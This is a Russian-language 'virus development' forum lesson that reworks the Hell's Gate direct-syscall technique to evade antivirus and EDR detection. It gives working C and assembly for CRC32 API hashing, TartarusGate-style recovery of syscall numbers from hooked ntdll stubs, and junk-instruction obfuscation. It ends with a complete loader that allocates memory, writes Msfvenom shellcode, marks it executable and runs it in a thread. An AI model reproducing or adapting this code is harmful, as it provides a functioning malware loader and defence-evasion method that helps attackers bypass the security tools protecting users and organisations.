В этих темах:
Уроки - Разработка вирусов-28. Предельная техника. Разборка с сисколами
Что такое системные вызовы (Syscalls) Системные вызовы Windows или syscalls служат интерфейсом для взаимодействия программ с системой, позволяя им запрашивать определенные услуги, такие как чтение или запись в файл, создание нового процесса или выделение памяти. Помните из вводных модулей, что...
ru-sfera.pw
Уроки - Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
В прошлой статье:Уроки - Разработка вирусов-28. Предельная техника. Разборка с сисколами мы разобрали теорию. Давайте теперь переделаем техники: https://ru-sfera.pw/threads/razrabotka-virusov-17-izuchaem-texniku-thread-hijacking.4449/...
ru-sfera.pw
Мы обсуждали прямые системные вызовы для обхода хуков и детекта по поведению.
Мы там использовали вспомогательный инструмент Hell's Gate, предлагаю в этой статье модифицировать этот инструмент, что-бы избежать детект на сам инструмент.)
Обновления сделают реализацию более настраиваемой и, следовательно, более скрытной и уменьшат вероятность обнаружения на основе сигнатур. Кроме того, обновленный код изменит способ получения SSN системного вызова, используя
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Если вам нужно восстановить информацию о первоначальной реализации Hell's Gate, посетите репозиторий
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Обновление алгоритма хэширования строк
Первоначальная реализация Hell's Gate использовала алгоритм хэширования строк DJB2. Обновление алгоритма хэширования строк не влияет на реализацию Hell's Gate, но изменение алгоритма хэширования строк вероятно уменьшит вероятность обнаружения сигнатур. Функция djb2 заменяется следующей функцией.
C:
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) { // Получить следующий байт.
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
Функция crc32h представляет собой реализацию алгоритма хэширования строк Cyclic Redundancy Check (CRC32) и будет использоваться в этом разделе. Для повышения читаемости и обслуживаемости кода функция crc32h будет вызываться через следующую макросовую инструкцию.
C:
#define HASH(API) crc32h((char*)API)
Где переменная API - это строка, которую необходимо хэшировать с использованием crc32h.
Обновление GetVxTableEntry
Создание структуры NTDLL_CONFIG
Напомним, что функция GetVxTableEntry используется для извлечения адреса и SSN (номера системного вызова) указанного системного вызова с использованием его хэш-значения. Функция GetVxTableEntry вычисляет необходимые RVAs (относительные адреса) для поиска указанного хэша и принимает два дополнительных параметра, pModuleBase и pImageExportDirectory, которые не связаны с ее назначением. Для улучшения эффективности создается структура NTDLL_CONFIG, которая представлена ниже.
C:
typedef struct _NTDLL_CONFIG
{
PDWORD pdwArrayOfAddresses; // VA массива адресов экспортируемых функций ntdll
PDWORD pdwArrayOfNames; // VA массива имен экспортируемых функций ntdll
PWORD pwArrayOfOrdinals; // VA массива порядковых номеров экспортируемых функций ntdll
DWORD dwNumberOfNames; // количество экспортируемых функций из ntdll.dll
ULONG_PTR uModule; // базовый адрес ntdll - необходим для вычисления будущих RVAs
} NTDLL_CONFIG, *PNTDLL_CONFIG;
// Глобальная переменная
NTDLL_CONFIG g_NtdllConf = { 0 };
Создание InitNtdllConfigStructure
Кроме того, создается приватная функция InitNtdllConfigStructure, которая вызывается функцией GetVxTableEntry для инициализации глобальной структуры g_NtdllConf. Это позволяет GetVxTableEntry обращаться к значениям из заголовков NTDLL без необходимости дополнительных параметров или вычислений каждый раз. В результате функция InitNtdllConfigStructure инициализирует структуру g_NtdllConf для будущего использования.
Функция InitNtdllConfigStructure получает базовый адрес NTDLL и выполняет разбор PE (Portable Executable) для извлечения структуры директории экспорта. Затем функция вычисляет необходимые RVAs для заполнения структуры g_NtdllConf необходимыми данными. Функция возвращает TRUE, если она успешно выполняет эти действия, и FALSE, если структура g_NtdllConf все еще содержит неинициализированные элементы.
C:
BOOL InitNtdllConfigStructure() {
// Получение PEB (Process Environment Block)
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;
// Получение модуля ntdll.dll
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Получение базового адреса ntdll
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;
// Получение заголовка DOS для ntdll
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// Получение заголовков NT для ntdll
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// Получение директории экспорта для ntdll
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pImgExpDir)
return FALSE;
// Инициализация элементов структуры 'g_NtdllConf'
g_NtdllConf.uModule = uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals);
// Проверка
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}
Переименование и обновление GetVxTableEntry
GetVxTableEntry переименована в FetchNtSyscall и будет иметь два параметра: dwSysHash, хэш-значение указанного системного вызова для извлечения SSN, и pNtSys, указатель на структуру NT_SYSCALL, которая содержит всю необходимую информацию для выполнения прямого системного вызова. Эта структура будет инициализирована функцией FetchNtSyscall.
C:
typedef struct _NT_SYSCALL
{
DWORD dwSSn; // номер системного вызова
DWORD dwSyscallHash; // хэш-значение системного вызова
PVOID pSyscallAddress; // адрес системного вызова
} NT_SYSCALL, *PNT_SYSCALL;
Функция FetchNtSyscall выполняет следующие действия:
Проверяет, инициализирована ли глобальная структура g_NtdllConf. Если нет, она вызывает InitNtdllConfigStructure для ее инициализации. Проверяет, указал ли пользователь хэш-значение, иначе возвращает FALSE. Инициирует цикл for для поиска указанного системного вызова по его хэш-значению. Когда системный вызов найден, он сохраняет его адрес в структуре pNtSys. Затем инициирует цикл while для поиска SSN системного вызова. Логика поиска такая же, как и в исходной реализации. Если SSN найден, он сохраняется в структуре pNtSys. Затем функция выходит из обоих циклов и выполняет окончательную проверку, чтобы убедиться, что все элементы структуры NT_SYSCALL инициализированы. Результат возвращается после этой проверки.
C:
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
// Инициализация конфигурации ntdll, если не найдена
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
// Если не указано хэш-значение
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
// Поиск 'dwSysHash' в экспортируемых функциях ntdll
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
// Если системный вызов найден
if (HASH(pcFuncName) == dwSysHash) {
// Сохранение адреса
pNtSys->pSyscallAddress = pFuncAddress;
WORD cw = 0;
// Поиск SSN
while (TRUE) {
// Достигли инструкции 'ret' - мы находимся далеко внизу
if (*((PBYTE)pFuncAddress + cw) == 0xC3 && !pNtSys->dwSSn)
return FALSE;
// Достигли инструкции 'syscall' - мы находимся далеко внизу
if (*((PBYTE)pFuncAddress + cw) == 0x0F && *((PBYTE)pFuncAddress + cw + 1) == 0x05 && !pNtSys->dwSSn)
return FALSE;
if (*((PBYTE)pFuncAddress + cw) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + cw) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + cw) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + cw) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + cw) == 0x00
&& *((PBYTE)pFuncAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + cw);
BYTE low = *((PBYTE)pFuncAddress + 4 + cw);
// Сохранение SSN
pNtSys->dwSSn = (high << 8) | low;
break; // Выход из цикла while
}
cw++;
}
break; // Выход из цикла for
}
}
// Проверка, инициализированы ли все элементы NT_SYSCALL (pNtSys)
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
Улучшение логики извлечения SSN
Напомним, что при поиске SSN (номера системного вызова) Hell's Gate ограничивает границы поиска, проверяя наличие инструкций syscall или ret. Если одна из этих инструкций найдена, и SSN еще не был получен, то поиск завершается неудачей, что предотвращает извлечение неправильного значения SSN из другой функции системного вызова.
TartarusGate
В TartarusGate был представлен альтернативный способ поиска SSN, который иллюстрирован на изображении ниже.
Предположим, что вызов системного вызова B выполняется с использованием реализации Hell's Gate. В этом случае будет осуществляться поиск операций 0x4c, 0x8b, 0xd1, 0xb8, которые представляют собой инструкции mov r10, rcx и mov rcx, ssn. Но, как показано на изображении выше, таких операций нет, что означает, что реализация Hell's Gate не сможет получить SSN для системного вызова B.
TartarusGate использует соседние системные вызовы для вычисления SSN указанного системного вызова. Если TartarusGate ищет вверх, то SSN системного вызова B равен SSN системного вызова A - 1. С другой стороны, если TartarusGate ищет вниз, то SSN системного вызова B равен SSN системного вызова C + 1.
Обратите внимание, что путь поиска может распространяться за пределы непосредственно соседних системных вызовов. Например, если выполняется вызов системного вызова C, то SSN системного вызова C будет равен следующим возможным операциям:
Syscall A's SSN plus two
Syscall B's SSN plus one
Syscall D's SSN minus one
Syscall E's SSN minus two
Syscall F's SSN minus three
На изображении ниже это более наглядно иллюстрируется, где idx - это число для добавления или вычитания.
Обновление функции FetchNtSyscall
После понимания того, как работает TartarusGate, функция FetchNtSyscall обновляется для использования этой логики поиска. Некоторые аспекты обновленной функции FetchNtSyscall:
RANGE равен 255, представляя максимальное количество системных вызовов, чтобы двигаться вверх или вниз в памяти.
UP равно 32, что является размером системного вызова. Это используется при поиске вверх.
DOWN равно -32, что является отрицательным размером системного вызова. Это используется при поиске вниз.
Когда путь поиска направлен вверх, SSN указанного системного вызова вычисляется как (high << 8) | low + idx, где idx - это количество системных вызовов выше текущего системного вызова (адрес pFuncAddress). Когда путь поиска направлен вниз, SSN указанного системного вызова вычисляется как (high << 8) | low - idx, где idx - это количество системных вызовов ниже текущего системного вызова (адрес pFuncAddress).
C:
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
// Инициализация конфигурации ntdll, если не найдена
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
pNtSys->pSyscallAddress = pFuncAddress;
// if syscall found
if (HASH(pcFuncName) == dwSysHash) {
if (*((PBYTE)pFuncAddress) == 0x4C
&& *((PBYTE)pFuncAddress + 1) == 0x8B
&& *((PBYTE)pFuncAddress + 2) == 0xD1
&& *((PBYTE)pFuncAddress + 3) == 0xB8
&& *((PBYTE)pFuncAddress + 6) == 0x00
&& *((PBYTE)pFuncAddress + 7) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5);
BYTE low = *((PBYTE)pFuncAddress + 4);
pNtSys->dwSSn = (high << 8) | low;
break; // Выход из цикла for-loop [i]
}
// if hooked - scenario 1
if (*((PBYTE)pFuncAddress) == 0xE9) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// check neighboring syscall down
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
pNtSys->dwSSn = (high << 8) | low - idx;
break; // Выход из цикла for-loop [idx]
}
// check neighboring syscall up
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
pNtSys->dwSSn = (high << 8) | low + idx;
break; // Выход из цикла for-loop [idx]
}
}
}
// if hooked - scenario 2
if (*((PBYTE)pFuncAddress + 3) == 0xE9) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// check neighboring syscall down
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
pNtSys->dwSSn = (high << 8) | low - idx;
break; // Выход из цикла for-loop [idx]
}
// check neighboring syscall up
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
pNtSys->dwSSn = (high << 8) | low + idx;
break; // Выход из цикла for-loop [idx]
}
}
}
break; // Выход из цикла for-loop [i]
}
}
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
Обновление сборочных функций
Функции HellsGate и HellDescent, найденные в файле hellsgate.asm, будут заменены на SetSSn и RunSyscall соответственно. SetSSn требует SSN вызываемого системного вызова, а RunSyscall выполняет его.
В этих двух функциях не производятся крупные обновления, однако были добавлены дополнительные инструкции ассемблера, которые не влияют на выполнение программы, но добавляют обфускацию.
Обновление сборочных функций Функции HellsGate и HellDescent, найденные в файле hellsgate.asm, будут заменены на SetSSn и RunSyscall соответственно. SetSSn требует SSN вызываемого системного вызова, а RunSyscall выполняет его.
В этих двух функциях не производятся крупные обновления, однако были добавлены дополнительные инструкции ассемблера, которые не влияют на выполнение программы, но добавляют обфускацию.
Незатронутые сборочные функции
SetSSN и RunSyscall без лишних сборочных инструкций:
Код:
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
mov wSystemCall, ecx
ret
SetSSn ENDP
RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
RunSyscall ENDP
end
Сборочные функции с обфускацией
SetSSN и RunSyscall с добавленными сборочными инструкциями:
Код:
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov eax, ecx ; eax = ssn
mov r8d, eax ; r8d = eax = ssn
mov wSystemCall, r8d ; wSystemCall = r8d = eax = ssn
ret
SetSSn ENDP
RunSyscall PROC
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run ; выполнить 'Run'
xor eax, eax ; не выполнится
xor rcx, rcx ; не выполнится
shl r10, 2 ; не выполнится
Run:
syscall
ret
RunSyscall ENDP
end
Обновление главной функции
Создание структуры NTAPI_FUNC
Обновленная реализация Hell's Gate завершена.
Последний шаг - это тестирование реализации, которое требует главной функции. Для этого создается новая структура, которая заменяет VX_TABLE. Новая структура NTAPI_FUNC будет содержать информацию о системных вызовах. Хранение этой информации в структуре позволит вызывать системные вызовы несколько раз, когда они инициализируются как глобальная переменная.
Структура NTAPI_FUNC представлена ниже:
C:
typedef struct _NTAPI_FUNC
{
NT_SYSCALL NtAllocateVirtualMemory;
NT_SYSCALL NtProtectVirtualMemory;
NT_SYSCALL NtCreateThreadEx;
NT_SYSCALL NtWaitForSingleObject;
} NTAPI_FUNC, *PNTAPI_FUNC;
// глобальная переменная
NTAPI_FUNC g_Nt = { 0 };
Создание функции InitializeNtSyscalls
Для заполнения глобальной переменной g_Nt создается новая функция InitializeNtSyscalls, которая будет вызывать FetchNtSyscall для инициализации всех членов NTAPI_FUNC.
C:
BOOL InitializeNtSyscalls() {
if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.NtAllocateVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtAllocateVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.2X \n", g_Nt.NtAllocateVirtualMemory.dwSSn);
if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.NtProtectVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtProtectVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.2X \n", g_Nt.NtProtectVirtualMemory.dwSSn);
if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.NtCreateThreadEx)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtCreateThreadEx \n");
return FALSE;
}
printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n", g_Nt.NtCreateThreadEx.dwSSn);
if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.NtWaitForSingleObject)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtWaitForSingleObject \n");
return FALSE;
}
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X \n", g_Nt.NtWaitForSingleObject.dwSSn);
return TRUE;
}
NtAllocateVirtualMemory_CRC32, NtProtectVirtualMemory_CRC32, NtCreateThreadEx_CRC32 и NtWaitForSingleObject_CRC32 - это хэш-значения соответствующих системных вызовов.
Программа Hasher
Хэши системных вызовов генерируются с использованием программы Hasher, которая содержит функцию хеширования crc32h. Hasher печатает значения вывода функции crc32h.
C:
#include <Windows.h>
#include <stdio.h>
#define SEED 0xEDB88320
#define STR "_CRC32"
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) { // Get next byte.
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
#define HASH(API) crc32h((char*)API)
int main() {
printf("#define %s%s \t 0x%0.8X \n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory"));
printf("#define %s%s \t 0x%0.8X \n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory"));
printf("#define %s%s \t 0x%0.8X \n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx"));
printf("#define %s%s \t 0x%0.8X \n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject"));
}
Главная функция
Сначала вызывается функция InitializeNtSyscalls, а затем вызываются системные вызовы для выполнения локальной инъекции кода с использованием shellcode из Msfvenom. Вызов системных вызовов выполняется с использованием сборочных функций SetSSn и RunSyscall, описанных ранее.
C:
int main() {
NTSTATUS STATUS = NULL;
PVOID pAddress = NULL;
SIZE_T sSize = sizeof(Payload);
DWORD dwOld = NULL;
HANDLE hProcess = (HANDLE)-1, // локальный процесс
hThread = NULL;
// Инициализация используемых системных вызовов
if (!InitializeNtSyscalls()) {
printf("[!] Failed To Initialize The Specified Direct-Syscalls \n");
return -1;
}
// Выделение памяти
SetSSn(g_Nt.NtAllocateVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress == NULL) {
printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
// Копирование полезной нагрузки
memcpy(pAddress, Payload, sizeof(Payload));
sSize = sizeof(Payload);
// Изменение защиты памяти
SetSSn(g_Nt.NtProtectVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize, PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
printf("[!] NtProtectVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
// Выполнение полезной нагрузки
SetSSn(g_Nt.NtCreateThreadEx.dwSSn);
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
printf("[!] NtCreateThreadEx Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
// Ожидание выполнения полезной нагрузки
SetSSn(g_Nt.NtWaitForSingleObject.dwSSn);
if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}